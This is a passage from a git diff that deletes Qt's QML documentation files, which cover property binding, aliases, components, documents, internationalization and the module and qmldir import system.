other elements and objects. - -\keyword qml-basic-property-types -\section2 Basic Property Types - -Basic types such as \l int, \l real, and other Qt structures may be bound to -properties. For a list of types, visit the \l {QML Basic Types} document. - -\section2 Elements and Objects as Property Values - -Many properties bind to objects. For example, the \l Item element has a -\c states property that can bind to \l State elements. This type of property -binding allows elements to carry additional non-children elements. \c Item's -\c transitions property behaves in a similar way; it can bind to \l Transition -elements. - -Care must be taken when referring to the parent of an object property binding. -Elements and components that are bound to properties are not necessarily set -as children of the properties' component. - -\snippet qml/properties.qml object binding -The code snippet has a \l Gradient element that attempts to print its parent's -\c width value. However, the \c Gradient element is bound to the \c gradient -property, not the \c children property of the \c Rectangle. As a result, the -\c Gradient does not have the \c Rectangle as its parent. Printing the value -of \c{parent.width} generates an error. Printing the \c Rectangle object's -first child's \c name will print \c {childrectangle} because the second -\c Rectangle is bound to the \c children property. - -For more information about the \c children property, please read the -\l {Default Properties} section. - -\keyword attached-properties -\section2 Attached Properties - -Certain objects provide additional properties by \e attaching properties to other -objects. For example, the \l Keys element have properties that can \e attach to other QML -objects to provide keyboard handling. - -\snippet qml/properties.qml list attached property -The element \l ListView provides the delegate, \c listdelegate, the property -\c isCurrentItem as an attached property. The \c ListView.isCurrentItem -\e{attached property} provides highlight information to the delegate. -Effectively, the \l ListView element attaches the \c ListView.isCurrentItem -property to each delegate it creates. - -\keyword attached-signalhandlers -\section2 Attached Signal Handlers - -\e {Attached signal handlers} are similar -to \l{Attached Properties}{attached properties} in that they attach to objects -to provide additional functionality to objects. Two prominent elements, -\l Component and \l Keys element provide -\l{QML Signal and Handler Event System}{signal handlers} as attached signal -handlers. -\snippet qml/properties.qml attached signal handler - -Read the \l{QML Signal and Handler Event System} and the \l{Keyboard Focus in QML} -articles for more information. - -\section2 List properties - -Some properties may accept a binding to a list property, where more than one -component can bind to the property. List properties allow multiple -\l {State}{States}, \l {Gradient}{Gradients}, and other components to bind to a -single property. -\snippet qml/properties.qml list property -The list is enclosed in square brackets, with a comma separating the -list elements. In cases where you are only assigning a single item to a -list, you may omit the square brackets. -\snippet qml/properties.qml single property - -To access the list, use the \c index property. -\snippet qml/properties.qml print list property -The snippet code simply prints the name of the first state, \c FETCH. - - See the \l{list}{list type} documentation -for more details about list properties and their available operations. - -\keyword qml-grouped-properties -\section2 Grouped Properties - -In some cases properties form a logical group and use either the \e dot notation -or \e group notation. - -Grouped properties may be written both ways: -\snippet qml/properties.qml grouped properties - -In the element documentation grouped properties are shown using the dot notation. - -\section2 Property Aliases - -Unlike a property definition, which allocates a new, unique storage space for -the property, a property alias connects the newly declared property, called the -\e{aliasing property} as a direct reference to an existing property, the -\e{aliased property}. Read or write operations on the aliasing property results -in a read or write operations on the aliased property, respectively. - -A property alias declaration is similar to an ordinary property definition: - -\tt{[default] property alias <name>: <alias reference>} - -As the aliasing property has the same type as the aliased property, an explicit -type is omitted, and the special \c alias keyword is before the property name. -Instead of a default value, a property alias has a compulsory alias reference. -Accessing the aliasing property is similar to accessing a regular property. In -addition, the optional \c default keyword indicates that the aliasing property -is a \l{Default Properties}{default property}. - -\snippet qml/Button.qml property alias -When importing the component as a \c Button, the \c buttonlabel is directly -accessible through the \c label property. -\snippet qml/properties.qml alias usage -In addition, the \c id property may also be aliased and referred outside the -component. -\snippet qml/Button.qml parent begin -\snippet qml/Button.qml id alias -\snippet qml/Button.qml parent end -The \c imagebutton component has the ability to modify the child \l Image object - and its properties. -\snippet qml/properties.qml image alias - -Using aliases, properties may be exposed to the -\l{qml-top-level-component}{top level component}. Exposing properties to the -top-level component allows components to have interfaces similar to Qt widgets. - -\section3 Considerations for property aliases - -Aliases are only activated once the component -\l{Component::onCompleted}{completes} its initialization. An error is generated -when an uninitialized alias is referenced. Likewise, aliasing an aliasing -property will also result in an error. - -\snippet qml/properties.qml alias complete - -When importing the component, however, aliasing properties appear as regular Qt -properties and consequently can be used in alias references. - -It is possible for an aliasing property to have the same name as an existing -property, effectively overwriting the existing property. For example, -the following component has a \c color alias property, named the same as the built-in -\l {Rectangle::color} property: - -\snippet qml/properties.qml alias overwrite - -Any object that use this component and refer to its \c color property will be -referring to the alias rather than the ordinary \l {Rectangle::color} property. -Internally, however, the \c coloredrectangle can correctly set its \c color -property and refer to the actual defined property rather than the alias. - -The \l{declarative/ui-components/tabwidget}{TabWidget} example uses -aliases to reassign children to the \l ListView, creating a tab effect. - -\keyword default-properties -\section2 Default Properties - -When imported, QML components will bind declared children to their designated -\e{default properties}. The optional \c default attribute specifies a property -as the \e {default property}. For example, the State element's default property -is its \l{State::changes}{changes} property. \l PropertyChanges elements -may simply be placed as the \c{State}'s children and they will be bound to the -\c changes property. -\snippet qml/properties.qml state default - -Similarly, the \l Item element's default property is its -\l{Item::data}{data} property. The \c data property manages Item's -\c children and \c resources properties. This way, different data types may be -placed as direct children of the \c Item. -\snippet qml/properties.qml default property - -Reassigning a default property is useful when a component is reused. For -example, the \l{declarative/ui-components/tabwidget}{TabWidget} example uses -the \c default attribute to reassign children to the \l ListView, creating -a tab effect. - -\section1 Using the Binding Element - -In some advanced cases, it may be necessary to create bindings explicitly with -the\l Binding element. - -For example, to bind a property exposed from the \l{The QML Engine}{declarative -runtime} or \l{QmlGlobalQtObject}{Qt object}, such as the \c system.brightness -property, to a value written in QML, you could use the \l Binding element as -follows: -\snippet qml/properties.qml binding element - -\section1 Changing Property Values in States - -The \l PropertyChanges element is for setting property bindings within a -\l State element to set a property binding. - -\snippet qml/properties.qml PropertyChanges element -The rectangle's \c color property will bind to the \c warning component's -\c color property when its \c state is set to the \c WARNING state. -*/ diff --git a/src/qml/doc/src/qml/qmlcomponents.qdoc b/src/qml/doc/src/qml/qmlcomponents.qdoc deleted file mode 100644 index 9d0da72646..0000000000 --- a/src/qml/doc/src/qml/qmlcomponents.qdoc +++ /dev/null @@ -1,194 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-components.html -\ingroup qml-features -\contentspage QML Reference - -\title QML Components -\brief creating and instantiating components - -A \e component is an instantiable QML definition, typically contained in a \c -.qml file. For instance, a Button \e component may be defined in \c Button.qml -file. The \l{The QML Engine}{QML engine} may instantiate this Button -component to create Button \e objects. Alternatively, a component may be defined -inside a \l Component element. - -Moreover, the Button definition may also contain other components. A Button -component might have a Text element for its label and other components to -implement its functions. Compounding components to form new components -is the emphasis in QML. - -\keyword qml-define-components -\section1 Defining New Components - -Any snippet of QML code may become a component, by placing the code in a QML -file, whose file extension is \c .qml). A complete Button component that -responds to user input may be in a Button.qml file. -\snippet qml/reusablecomponents/Button.qml document - -The component name, \c Button, matches the QML filename, \c Button.qml. -Also, the first character is in upper case. Matching the names allow -components in the same directory to be in the direct import path of the -application. The section on \l{Importing a Component} has information about -naming components with different filenames. - -Alternatively, a \l Component element may encapsulate a QML object to form a -component. -\snippet qml/reusablecomponents/component.qml parent begin -\snippet qml/reusablecomponents/component.qml define inline component -\snippet qml/reusablecomponents/component.qml parent end - - -Components may incorporate any \l{Qt Quick}{QML feature} such as: -\list -\li \l{Property Binding in QML}{Properties} - for binding to data and functions -\li \l{JavaScript Expressions in QML}{JavaScript functions} - for performing routines and logic -\li \l{QML Signal and Handler Event System}{Signals and handlers} - t notify other -objects about events -\li \l{States} and \l{QML Animation and Transitions}{Transitions} -\li many others -\endlist -For information about these features, visit the respective overviews or the -main Qt Quick \l{Qt Quick}{reference} page. - -\keyword qml-loading-components -\section1 Loading a Component - -The initialization of inline components is different from loading a component -from a \c .qml file. - -\section2 Importing a Component - -A component defined in a \c .qml file is directly usable by declaring the name -of the component. For example, a button defined in \c Button.qml is created by -declaring a \c Button. The button is defined in the -\l {qml-define-components}{Defining New Components} section. -\snippet qml/reusablecomponents/application.qml document - -Note that the component name, \c Button, matches the QML filename, \c Button.qml. -Also, the first character is in upper case. Matching the names allow -components in the same directory to be in the direct import path of the -application. - -For flexibility, a \c qmldir file is for dictating which additional components, -plugins, or directories should be imported. By using a \c qmldir file, component -names do not need to match the filenames. The \c qmldir file should, however, be -in an imported path. -\snippet qml/reusablecomponents/qmldir document - -\section2 Loading an Inline Component - -A consequence of inline components is that initialization may be deferred or -delayed. A component may be created during a MouseArea event or by using a -\l Loader element. The component can create an object, which is addressable in a -similar way as an \l {qml-id}{identifier}. Thus, the created object may -have its bindings set and read like a normal QML object. -\snippet qml/reusablecomponents/component.qml define inline component -\snippet qml/reusablecomponents/component.qml create inline component - -\keyword qml-component-properties -\section1 Component Properties - -Initializing a component, either from a .qml file or initializing an inline -component, have several properties to facilitate component execution. -Specifically, there are \l{attached-properties}{attached properties} and -\l{attached-signalhandlers}{attached signal handlers} for setting properties -during the lifetime of a component. - -The \c{Component.onCompleted} attached signal handler is called when the -component completes initialization. It is useful for executing any commands -after component initialization. Similarly, the \c{Component.onDestruction} -signal handler executes when the component finishes destruction. - -\keyword qml-top-level -\section1 Top-Level Component - -Choosing the \e{top-level} or the \e{root} object of components is an important -design aspect because the top-level object dictates which properties are -accessible outside the component. Some elements are not visual elements and -will not have visual properties exposed outside the component. Likewise, some -elements add functionality that are not available to visual elements. - -Consider the Button component from the -\l{qml-define-components}{Defining New Components} section; it's top-level -object is a \l Rectangle. When imported, the Button component will possess the -Rectangle's properties, methods, signals, and any custom properties. - -\snippet qml/reusablecomponents/Button.qml parent begin -\snippet qml/reusablecomponents/Button.qml ellipses -\snippet qml/reusablecomponents/Button.qml properties -\snippet qml/reusablecomponents/Button.qml ellipses -\snippet qml/reusablecomponents/Button.qml parent end - -The Button's \c text alias is accessible from outside the component as well as -the Rectangle's visual properties and signals such as \c x, \c y, \c anchors, -and \c states. - -Alternatively, we may choose a \l {Keyboard Focus in QML}{FocusScope} as our -top-level object. The \l FocusScope element manage keyboard focus for its -children which is beneficial for certain types of interfaces. However, since -\c FocusScopes are not visual elements, the visual properties of its child need -to be exposed. - -\snippet qml/reusablecomponents/focusbutton.qml document - -\keyword qml-id -\section2 The Object Identifier - -Each QML object may be given a special unique identifier called an \c id. -No other object within the same QML component (see \l{QML Documents}) can have -the same \c id value. QML objects may then access an object using the \c id -property. -\snippet qml/properties.qml id property -A component may readily access its parent's properties by using the \c parent -property. - -Note that an \c id must begin with a lower-case letter or an underscore. The -\c id cannot contain characters other than letters, numbers, underscores, and -\l {JavaScript Reserved Words}{JavaScript reserved words}. - -\section2 Child Components - -Objects or Items declared within a component can be made accessible by binding their id to a -property alias. - -\snippet qml/reusablecomponents/Button.qml parent begin -\snippet qml/reusablecomponents/Button.qml object alias -\snippet qml/reusablecomponents/Button.qml text -\snippet qml/reusablecomponents/Button.qml parent end - -The advantage of using an alias instead a property of type of the object is that the value of -the alias cannot be overridden, and members of the object can be used in property bindings when -declaring an instance of the component. -\snippet qml/reusablecomponents/application.qml grouped property -If a property of type \c Text was used instead of an alias in this instance there would be no -guarantee that \c label would be initialized before the binding was attempted which would cause -the binding to fail. -*/ - diff --git a/src/qml/doc/src/qml/qmldocument.qdoc b/src/qml/doc/src/qml/qmldocument.qdoc deleted file mode 100644 index d1d4cc0524..0000000000 --- a/src/qml/doc/src/qml/qmldocument.qdoc +++ /dev/null @@ -1,151 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-documents.html -\title QML Documents -\brief a description of QML documents and the kind of content they contain - -A QML document is a block of QML source code. QML documents generally correspond to files -stored on a disk or at a location on a network, but they can also be constructed directly -from text data. - -Here is a simple QML document: - -\snippet qml/qml-documents/non-trivial.qml document - -QML documents are always encoded in UTF-8 format. - -A QML document always begins with one or more import statements. To prevent elements -introduced in later versions from affecting existing QML programs, the element types -available within a document are controlled by the imported QML \l {Modules} with -a corresponding \e version. - -QML does \e not have a preprocessor that modifies the document prior to -presentation to the \l{The QML Engine}{QML engine}, unlike C or C++. -The \c import statements do not copy and prepend the code in the document, but -instead instruct the QML engine on how to resolve type references found -in the document. Any type reference present in a QML document - such as \c -Rectangle and \c ListView - including those made within an \l {Inline -JavaScript}{JavaScript block} or \l {Property Binding in QML}{property -bindings}, are \e resolved based exclusively on the import statements. At least -one \c import statement must be present such as \c{import QtQuick 2.0}. - -Each \c id value in a QML document must be unique within that document. They do -not need to be unique across different documents as id values are resolved -according to the document scope. - -\section1 Documents as Component Definitions - -A QML document defines a single, top-level \l {QML Components}{QML component}. A -QML component is a template that is interpreted by the QML engine to -create an object with some predefined behaviour. As it is a template, a single -QML component can be "run" multiple times to produce several objects, each of -which are said to be \e instances of the component. - -Once created, instances are not dependent on the component that created them, so -they can operate on independent data. Here is an example of a simple "Button" -component (defined in a \c Button.qml file) that is instantiated four times by -\c application.qml. Each instance is created with a different value for its \c -text property: - -\table -\row -\li Button.qml -\li application.qml - -\row -\li \snippet qml/qml-documents/qmldocuments.qml document -\li -\qml -import QtQuick 2.0 - -Column { - spacing: 10 - - Button { text: "Apple" } - Button { text: "Orange" } - Button { text: "Pear" } - Button { text: "Grape" } -} -\endqml - -\image anatomy-component.png - -\endtable - -Any snippet of QML code can become a component, just by placing it in the file -"<Name>.qml" where <Name> is the component name, and begins with an \b -uppercase letter. Note that the case of all characters in the <Name> are -significant on some filesystems, notably UNIX filesystems. It is recommended -that the case of the filename matches the case of the component name in QML -exactly, regardless of the platform the QML will be deployed to. These QML -component files automatically become available as new QML element types to other -QML components and applications in the same directory. - -The \l{QML Components} article details the creation of components and how to -load them in other components. - -\section1 Inline Components - -In addition to the top-level component that all QML documents define, and any -reusable components placed in separate files, documents may also include \e -inline components. Inline components are declared using the \l Component -element, as can be seen in the first example above. Inline components share all -the characteristics of regular top-level components and use the same \c import -list as their containing QML document. Components are one of the most basic -building blocks in QML, and are frequently used as "factories" by other -elements. For example, the \l ListView element uses the \c delegate component as -the template for instantiating list items - each list item is just a new -instance of the component with the item specific data set appropriately. - -Like other \l {QML Elements}, the \l Component element is an object and must be -assigned to a property. \l Component objects may also have an object id. In the -first example on this page, the inline component is added to the \l Rectangle's -\c resources list, and then \l {Property Binding} is used to assign the \l -Component to the \l ListView's \c delegate property. The QML language even -contains a syntactic optimization when assigning directly to a component -property for this case where it will automatically insert the \l Component tag. -This means that by enclosing components in a \c Component element, we can -assign an id to the component and use the component elsewhere - -These final two examples perform identically to the original document. - -\table -\row -\li -\snippet qml/qml-documents/inline-component.qml document -\li -\snippet qml/qml-documents/inline-text-component.qml document -\endtable - - -For information about components, the \l{QML Components} article details the -creation of components and how to load them in other components. - -\sa QQmlComponent -*/ diff --git a/src/qml/doc/src/qml/qmli18n.qdoc b/src/qml/doc/src/qml/qmli18n.qdoc deleted file mode 100644 index b65c001e8e..0000000000 --- a/src/qml/doc/src/qml/qmli18n.qdoc +++ /dev/null @@ -1,95 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-i18n.html -\ingroup qml-features -\title QML Internationalization -\brief translating texts in QML - -\section1 Translation - -Strings in QML can be marked for translation using the qsTr(), qsTranslate(), qsTrId(), -QT_TR_NOOP(), QT_TRANSLATE_NOOP(), and QT_TRID_NOOP() functions. - -For example: -\qml -Text { text: qsTr("Pictures") } -\endqml - -These functions are standard QtScript functions; for more details see -QScriptEngine::installTranslatorFunctions(). - -QML relies on the core internationalization capabilities provided by Qt. These -capabilities are described more fully in: -\list -\li \l {Internationalization with Qt} -\li \l {Qt Linguist Manual} -\endlist - -You can test a translation with the \l {QML Viewer} using the -translation option. - -\section2 Example - -First we create a simple QML file with text to be translated. The string -that needs to be translated is enclosed in a call to \c qsTr(). - -hello.qml: -\qml -import QtQuick 2.0 - -Rectangle { - width: 200; height: 200 - Text { text: qsTr("Hello"); anchors.centerIn: parent } -} -\endqml - -Next we create a translation source file using lupdate: -\code -lupdate hello.qml -ts hello.ts -\endcode - -Then we open \c hello.ts in \l{Qt Linguist Manual} {Linguist}, provide -a translation and create the release file \c hello.qm. - -Finally, we can test the translation: -\code -qmlviewer -translation hello.qm hello.qml -\endcode - -You can see a complete example and source code in the \l{declarative/i18n}{QML Internationalization example}. - -\section1 Localization - -Localization is the process of adapting to local conventions, -for example presenting dates and times using the locally preferred formats. - -Qt Quick supports localization via the \l {QtQuick2::Locale}{Locale} object and extensions to the -\l{ECMA-262}{ECMAScript} \l {QtQuick2::Date}{Date} and \l {QtQuick2::Number}{Number} types. - - -*/ diff --git a/src/qml/doc/src/qml/qmllanguage-javascript.qdoc b/src/qml/doc/src/qml/qmllanguage-javascript.qdoc deleted file mode 100644 index 1f4f4c6d22..0000000000 --- a/src/qml/doc/src/qml/qmllanguage-javascript.qdoc +++ /dev/null @@ -1,40 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -/*! -\page qmllanguage-javascript.html -\ingroup qt-gui-concepts -\ingroup overviews -\title JavaScript Expressions -\brief Adding JavaScript Expressions for logic and dynamic applications - -\section1 JavaScript Expressions - \list - \li \l{List of JavaScript Objects and Functions} - \li \l{JavaScript Expressions in QML}{JavaScript Reference} - \endlist - -*/ diff --git a/src/qml/doc/src/qml/qmllanguage-modules.qdoc b/src/qml/doc/src/qml/qmllanguage-modules.qdoc deleted file mode 100644 index b5c17a4e22..0000000000 --- a/src/qml/doc/src/qml/qmllanguage-modules.qdoc +++ /dev/null @@ -1,532 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qmllanguage-modules.html -\title QML Modules -\brief creating and importing QML modules - -\section1 Modules - -A module is a set of QML content files that can be imported as a unit into a QML -application. Modules can be used to organize QML content into independent units, -and they can use a versioning mechanism that allows for independent -upgradability of the modules. - -While QML component files within the same directory are automatically accessible -within the global namespace, components defined elsewhere must be imported -explicitly using the \c import statement to import them as modules. For -example, an \c import statement is required to use: - -\list -\li A component defined in another QML file that is not in the same directory -\li A component defined in a QML file located on a remote server -\li A \l{QQmlExtensionPlugin}{QML extension plugin} library (unless the plugin is installed in the same directory) -\li A JavaScript file (note this must be imported using \l {#namespaces}{named imports}) -\endlist - -An \c import statement includes the module name, and possibly a version number. -This can be seen in the snippet commonly found at the top of QML files: - -\snippet qml/imports/qtquick-1.0.qml import - -This imports version 1.0 of the "QtQuick" module into the global namespace. (The QML -library itself must be imported to use any of the \l {QML Elements}, as they -are not included in the global namespace by default.) - -The \c Qt module is an \e installed module; it is found in the -\l{#import-path}{import path}. There are two types of QML modules: -located modules (defined by a URL) and installed modules (defined by a URI). - - -\section1 Located Modules - -Located modules can reside on the local filesystem or a network resource, -and are referred to by a quoted location URL that specifies the filesystem -or network URL. They allow any directory with QML content to be imported -as a module, whether the directory is on the local filesystem or a remote -server. - -For example, a QML project may have a separate directory for a set of -custom UI components. These components can be accessed by importing the -directory using a relative or absolute path, like this: - -\table -\row -\li Directory structure -\li Contents of application.qml - -\row -\li -\code -MyQMLProject - |- MyComponents - |- CheckBox.qml - |- Slider.qml - |- Window.qml - |- Main - |- application.qml -\endcode - -\li -\qml -import "../MyComponents" - -Window { - Slider { - // ... - } - CheckBox { - // ... - } -} -\endqml - -\endtable - -Similarly, if the directory resided on a network source, it could -be imported like this: - -\snippet qml/imports/network-imports.qml imports - -A located module can also be imported as a network resource if it has a -\l{Writing a qmldir file}{qmldir file} in the directory that specifies the QML files -to be made available by the module. For example, if the \c MyComponents directory -contained a \c qmldir file defined like this: - -\code -Slider 1.0 Slider.qml -CheckBox 1.0 CheckBox.qml -Window 1.0 Window.qml -\endcode - -If the \c MyComponents directory was then hosted as a network resource, it could -be imported as a module, like this: - -\qml -import "http://the-server-name.com/MyQMLProject/MyComponents" - -Window { - Slider { - // ... - } - CheckBox { - // ... - } -} -\endqml - -with an optional "1.0" version specification. Notice the import would fail if -a later version was used, as the \c qmldir file specifies that these elements -are only available in the 1.0 version. - -Note that modules imported as a network resource allow only access to components -defined in QML files; components defined by C++ \l{QQmlExtensionPlugin}{QML extension plugins} -are not available. - - -\target import-path -\section1 Installed Modules - -Installed modules are modules that are made available through the QML import path, -as defined by QQmlEngine::importPathList(), or modules defined within -C++ application code. An installed module is referred to by a URI, which allows -the module to be imported from QML code without specifying a complete filesystem -path or network resource URL. - -When importing an installed module, an un-quoted URI is -used, with a mandatory version number: - -\snippet qml/imports/installed-module.qml imports - -When a module is imported, the QML engine searches the QML import path for a matching -module. The root directory of the module must contain a -\l{Writing a qmldir file}{qmldir file} that defines the QML files -and/or C++ QML extension plugins that are made available to the module. - -Modules that are installed into the import path translate the URI into -directory names. For example, the qmldir file of the module \c com.nokia.qml.mymodule -must be located in the subpath \c com/nokia/qml/mymodule/qmldir somewhere in the -QML import path. In addition it is possible to store different versions of the -module in subdirectories of its own. For example, a version 2.1 of the -module could be located under \c com/nokia/qml/mymodule.2/qmldir or -\c com/nokia/qml/mymodule.2.1/qmldir. The engine will automatically load -the module which matches best. - -The import path, as returned by QQmlEngine::importPathList(), defines the default -locations to be searched by the QML engine for a matching module. By default, this list -contains: - -\list -\li The directory of the current file -\li The location specified by QLibraryInfo::ImportsPath -\li Paths specified by the \c QML_IMPORT_PATH environment variable -\endlist - -Additional import paths can be added through QQmlEngine::addImportPath() or the -\c QML_IMPORT_PATH environment variable. When running the \l {QML Viewer}, you -can also use the \c -I option to add an import path. - - -\section2 Creating Installed Modules - -As an example, suppose the \c MyQMLProject directory in the \l{Located Modules}{previous example} -was located on the local filesystem at \c C:\qml\projects\MyQMLProject. The \c MyComponents -subdirectory could be made available as an installed module by adding a -\l{Writing a qmldir file}{qmldir file} to the \c MyComponents directory that looked like this: - -\code -Slider 1.0 Slider.qml -CheckBox 1.0 CheckBox.qml -Window 1.0 Window.qml -\endcode - -Providing the path \c C:\qml is added to the QML import path using any of the methods listed previously, -a QML file located anywhere on the local filesystem can then import the module as shown below, -without referring to the module's absolute filesystem location: - -\qml -import projects.MyQMLProject.MyComponents 1.0 - -Window { - Slider { - // ... - } - CheckBox { - // ... - } -} -\endqml - -Installed modules are also accessible as a network resource. If the \c C:\qml directory was hosted -as \c http://www.some-server.com/qml and this URL was added to the QML import path, the above -QML code would work just the same. - -Note that modules imported as a network resource allow only access to components -defined in QML files; components defined by C++ \l{QQmlExtensionPlugin}{QML extension plugins} -are not available. - - -\section2 Creating Installed Modules in C++ - -C++ applications can define installed modules directly within the application using qmlRegisterType(). -For example, the \l {Tutorial: Writing QML extensions with C++}{Writing QML extensions with C++ tutorial} -defines a C++ class named \c PieChart and makes this type available to QML by calling qmlRegisterType(): - -\code -qmlRegisterType<PieChart>("Charts", 1, 0, "PieChart"); -\endcode - -This allows the application's QML files to use the \c PieChart type by importing the declared -\c Charts module: - -\snippet qml/imports/chart.qml import - -For \l{QQmlExtensionPlugin}{QML plugins}, the -module URI is automatically passed to QQmlExtensionPlugin::registerTypes(). This method -can be reimplemented by the developer to register the necessary types for the module. Below is the -\c registerTypes() implementation from the \l{declarative/cppextensions/plugins}{QML plugins} -example: - -\snippet examples/qml/cppextensions/plugins/plugin.cpp plugin - -Once the plugin is built and installed, and includes a \l{Writing a qmldir file}{qmldir file}, -the module can be imported from QML, like this: - -\snippet qml/imports/timeexample.qml import - -Unlike QML types defined by QML files, a QML type defined in a C++ extension plugin cannot be loaded by -a module that is imported as a network resource. - - - -\target namespaces -\section1 Namespaces: Using Named Imports - -By default, when a module is imported, its contents are imported into the global namespace. You may choose to import the module into another namespace, either to allow identically-named types to be referenced, or purely for readability. - -To import a module into a specific namespace, use the \e as keyword: - -\snippet qml/imports/named-imports.qml imports - -Types from these modules can then only be used when qualified by the namespace: - -\snippet qml/imports/named-imports.qml imported items - -Multiple modules can be imported into the same namespace in the same way that multiple modules can be imported into the global namespace: - -\snippet qml/imports/merged-named-imports.qml imports - -\section2 JavaScript Files - -JavaScript files must always be imported with a named import: - -\qml -import "somescript.js" as MyScript - -Item { - //... - Component.onCompleted: MyScript.doSomething() -} -\endqml - -The qualifier ("MyScript" in the above example) must be unique within the QML document. -Unlike ordinary modules, multiple scripts cannot be imported into the same namespace. - -Javascript files can be provided by modules, by adding Namespace definitions to the -\l{Writing a qmldir file}{qmldir file} for the module. For example: - -\code -SystemFunctions 1.0 SystemFunctions.js -UserFunctions 1.0 UserFunctions.js -\endcode - -Javascript can be imported from a module, where they will have the namespace defined -for them in the module's \c qmldir file: - -\qml -import projects.MyQMLProject.MyFunctions 1.0 - -Window { - Component.onCompleted: { SystemFunctions.cleanUp(); } -} -\endqml - -Javascript provided by modules can also be imported into namespaces: - -\qml -import projects.MyQMLProject.MyFunctions 1.0 as MyFuncs -import org.example.Functions 1.0 as TheirFuncs - -Window { - Component.onCompleted: { - MyFuncs.SystemFunctions.cleanUp(); - TheirFuncs.SystemFunctions.shutdown(); - } -} -\endqml - -\section1 Writing a qmldir File - -A \c qmldir file is a metadata file for a module that maps all type names in -the module to versioned QML files. It is required for installed modules, and -located modules that are loaded from a network source. - -It is defined by a plain text file named "qmldir" that contains one or more lines of the form: - -\code -# <Comment> -<TypeName> [<InitialVersion>] <File> -internal <TypeName> <File> -<Namespace> <InitialVersion> <File> -plugin <Name> [<Path>] -typeinfo <File> -\endcode - -\b {# <Comment>} lines are used for comments. They are ignored by the QML engine. - -\b {<TypeName> [<InitialVersion>] <File>} lines are used to add QML files as types. -<TypeName> is the type being made available, the optional <InitialVersion> is a version -number, and <File> is the (relative) file name of the QML file defining the type. - -Installed files do not need to import the module of which they are a part, as they can refer -to the other QML files in the module as relative (local) files, but -if the module is imported from a remote location, those files must nevertheless be listed in -the \c qmldir file. Types which you do not wish to export to users of your module -may be marked with the \c internal keyword: \b {internal <TypeName> <File>}. - -The same type can be provided by different files in different versions, in which -case later versions (e.g. 1.2) must precede earlier versions (e.g. 1.0), -since the \e first name-version match is used and a request for a version of a type -can be fulfilled by one defined in an earlier version of the module. If a user attempts -to import a version earlier than the earliest provided or later than the latest provided, -the import produces a runtime error, but if the user imports a version within the range of versions provided, -even if no type is specific to that version, no error will occur. - -A single module, in all versions, may only be provided in a single directory (and a single \c qmldir file). -If multiple are provided, only the first in the search path will be used (regardless of whether other versions -are provided by directories later in the search path). - -The versioning system ensures that a given QML file will work regardless of the version -of installed software, since a versioned import \e only imports types for that version, -leaving other identifiers available, even if the actual installed version might otherwise -provide those identifiers. - -\b {<Namespace> <InitialVersion> <File>} lines are used to import javascript files -into a Namespace exported by the module. The contents of the script file are made -available inside the namespace <Namespace>, which has the version number -<InitialVersion>. - -\b{plugin <Name> [<Path>]} lines are used to add \l{QQmlExtensionPlugin}{QML C++ plugins} to the module. <Name> is the name of the library. It is usually not the same as the file name -of the plugin binary, which is platform dependent; e.g. the library \c MyAppTypes would produce -\c libMyAppTypes.so on Linux and \c MyAppTypes.dll on Windows. - -<Path> is an optional argument specifying either an absolute path to the directory containing the -plugin file, or a relative path from the directory containing the \c qmldir file to the directory -containing the plugin file. By default the engine searches for the plugin library in the directory that contains the \c qmldir -file. The plugin search path can be queried with QQmlEngine::pluginPathList() and modified using QQmlEngine::addPluginPath(). When running the \l {QML Viewer}, use the \c -P option to add paths to the plugin search path. - -\b {typeinfo <File>} lines add \l{Writing a qmltypes file}{type description files} to -the module that can be read by QML tools such as Qt Creator to get information about the -types defined by the module's plugins. <File> is the (relative) file name of a .qmltypes -file. - -Without such a file QML tools may be unable to offer features such as code completion -for the types 